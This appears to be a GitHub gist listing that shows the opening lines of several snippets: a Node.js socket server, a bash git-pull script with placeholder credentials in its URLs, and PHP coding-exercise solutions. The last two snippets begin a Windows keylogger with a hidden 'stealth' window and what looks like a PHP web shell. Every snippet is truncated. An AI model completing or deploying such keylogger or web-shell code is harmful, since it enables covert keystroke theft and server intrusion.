This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var net = require('net'); | |
| var server = net.createServer(); | |
| server.on('connection', handleConnection); | |
| server.listen(9000, function() { | |
| console.log('server listening to %j', server.address()); | |
| }); | |
| function handleConnection(conn) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| declare -A arr; | |
| arr=( | |
| ["/var/www/dir1/"]="https://username:password@git.url.of.project1" | |
| ["/var/www/dir2/"]="https://username:passwordp@git.url.of.project2" | |
| ["/var/www/dir3/"]="https://username:password@git.url.of.project3" | |
| ); | |
| for K in "${!arr[@]}"; | |
| do cd $K; | |
| git pull ${arr[$K]}".git"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function solution($A) | |
| { | |
| if (count($A) == 1) { | |
| if ($A[0] == 1) { | |
| return 2; | |
| } else { | |
| return 1; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function solution($A) | |
| { | |
| if (count($A) == 1 && $A[0] != 1) { | |
| return 0; | |
| } | |
| sort($A); | |
| if ($A[0] != 1 || $A[count($A) - 1] != count($A)) { | |
| return 0; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function solution($X, $A) | |
| { | |
| for ($i = 0; $i < count($A);$i++) { | |
| $filled[$A[$i]] = 1; | |
| } | |
| if (count($filled) < $X) { | |
| return -1; | |
| } | |
| return array_search(array_flip($filled)[1], $A); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function solution($X, $Y, $D) { | |
| if ($X == $Y) { | |
| return 0; | |
| } | |
| return (int)ceil(($Y - $X)/$D); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function solution($A) { | |
| $sum = array_sum($A); | |
| $leastDiff = abs($A[0]*2 - $sum); | |
| $currentP = 1; | |
| $sumLeft = 0; | |
| for ($i = 0; $i < count($A) - 1; $i++) { | |
| $sumLeft += $A[$i]; | |
| $sum -= $A[$i]; | |
| $diff = abs($sumLeft - $sum); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function solution($A) { | |
| $arraySum = array_sum($A); | |
| if (count($A) == 0) { | |
| return -1; | |
| } | |
| $sumLeft = 0; | |
| $sumRight = 0; | |
| for ($i = 0; $i < count($A); $i++) { | |
| $sumRight = $arraySum - $sumLeft - $A[$i]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if(!function_exists("getmicrotime")) { | |
| function getmicrotime() | |
| { | |
| list($usec, $sec) = explode(" ", microtime()); | |
| return ((float) $usec + (float) $sec); | |
| } | |
| } | |
| error_reporting(5); | |
| @ignore_user_abort(TRUE); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <winuser.h> | |
| #include <windowsx.h > | |
| #define BUFSIZE 80 | |
| int test_key(void); | |
| int create_key(char * ); | |
| int get_keys(void); | |
| int main(void) { | |
| HWND stealth; /*creating stealth (window is not visible)*/ |